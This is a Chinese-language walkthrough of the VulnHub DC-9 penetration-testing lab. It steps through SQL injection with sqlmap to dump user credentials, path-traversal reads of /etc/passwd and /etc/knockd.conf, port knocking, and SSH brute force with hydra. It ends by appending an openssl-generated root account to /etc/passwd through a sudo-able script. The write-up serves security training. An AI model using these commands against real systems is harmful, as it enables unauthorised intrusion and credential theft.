渗透DC-9

靶机描述

下载地址:https://download.vulnhub.com/dc/DC-9.zip

1
2
3
4
5
6
7
DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

信息收集

扫描同网段存活主机

1
arp-scan -l

端口扫描

1
nmap -A 172.18.1.145

22端口处于过滤状态,80端口开放

访问80端口

目录扫描

1
disearchdirsearch -u http://172.18.1.145/ -i 200

在search.php中发现存在sql注入的注入点

这里是POST发包,用bp抓个包,然后用sqlmap测试

漏洞利用

保存数据包为TXT文件,在需要注入的地方打*号,然后拷贝到kali中

数据库类型判断

1
sqlmap -r 1.txt

注入查询当前数据库名称

1
sqlmap -r 1.txt --current-db

查询表名

1
sqlmap -r 1.txt --tables -D "Staff"

查询Users的字段名

1
sqlmap -r 1.txt --columns -T "Users" -D "Staff"

爆关键数据

1
sqlmap -r 1.txt --dump -C"Password,UserID,Username" -T "Users" -D "Staff"

在线网站碰撞:MD5免费在线解密破解_MD5在线加密-SOMD5

得到账号密码后,尝试登录后台

和之前的靶机模式类似,底部都弹出一个文件不存在的提示情况

猜测文件传参为file

读取关键信息,确实存在任意文件读取漏洞

这里发现很多账号,一会可以在数据库查看另一个表看详细内容

1
?file=../../../../../etc/passwd

考虑到ssh端口是关闭的,可能是开启了knock服务,利用文件包含确认一下,一般开启了knock服务就会存在/etc/knockd.conf文件

1
?file=../../../../../etc/knockd.conf

开启ssh端口,就需要依次访问这三个端口

1
nc -z 172.18.1.145 7469 8475 9842

然后查看22端口被开启了

ssh连接

既然开启了22端口,就需要寻找目标账户密码

查看数据库另一个表

1
sqlmap -r 1.txt -T "StaffDetails" -dump

发现不存在账号密码对应的信息,尝试从别的数据库入手

1
sqlmap -r 1.txt --dbs

查看表名

1
sqlmap -r 1.txt --tables -D "users"

测字段

1
sqlmap -r 1.txt --columns -T "UserDetails" -D "users"

查看值

1
sqlmap -r 1.txt -T "UserDetails" -D "users" --dump

保存所有用户名,密码,然后进行ssh爆破

1
hydra -L users.txt -P pwd.txt 172.18.1.145 ssh

得到三个用户账号和密码

尝试依次登录,在janitor用户中,发现有用信息

存在一个隐藏文件夹,里面有一些密码信息

将这部分密码保存到之前的密码本中

继续使用ssh爆破,发现一个新的账号密码

ssh登录

提权

在fredf用户下,发现一个具有root权限的文件

该test是个二进制程序,我们尝试寻找源码信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)

else :
f = open(sys.argv[1], "r")
output = (f.read())

f = open(sys.argv[2], "a")
f.write(output)
f.close()

脚本接受两个文件名作为参数,将第一个文件中的内容追加到第二个文件中

我们的思路就是生成一个用户密码信息,然后追加到系统的用户密码中

之前靶机我们添加的是无密码的用户条目,现在我们需要添加一个有密码的用户条目,所以需要使用openssl工具

1
2
3
4
openssl passwd -1 -salt <用户名> <密码>
openssl passwd -1 -salt hack hack

echo 'hack:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0::/root:/bin/bash' > hack

利用生成的test程序,写入目标文件

1
2
3
cd /opt/devstuff/dist/test

sudo ./test /tmp/hack /etc/passwd

尝试切换到hack用户

1
su hack

查找flag

总结

  • sqlmap的POST注入
  • 任意文件读取
  • knock服务
  • ssh爆破
  • openssl生成用户密码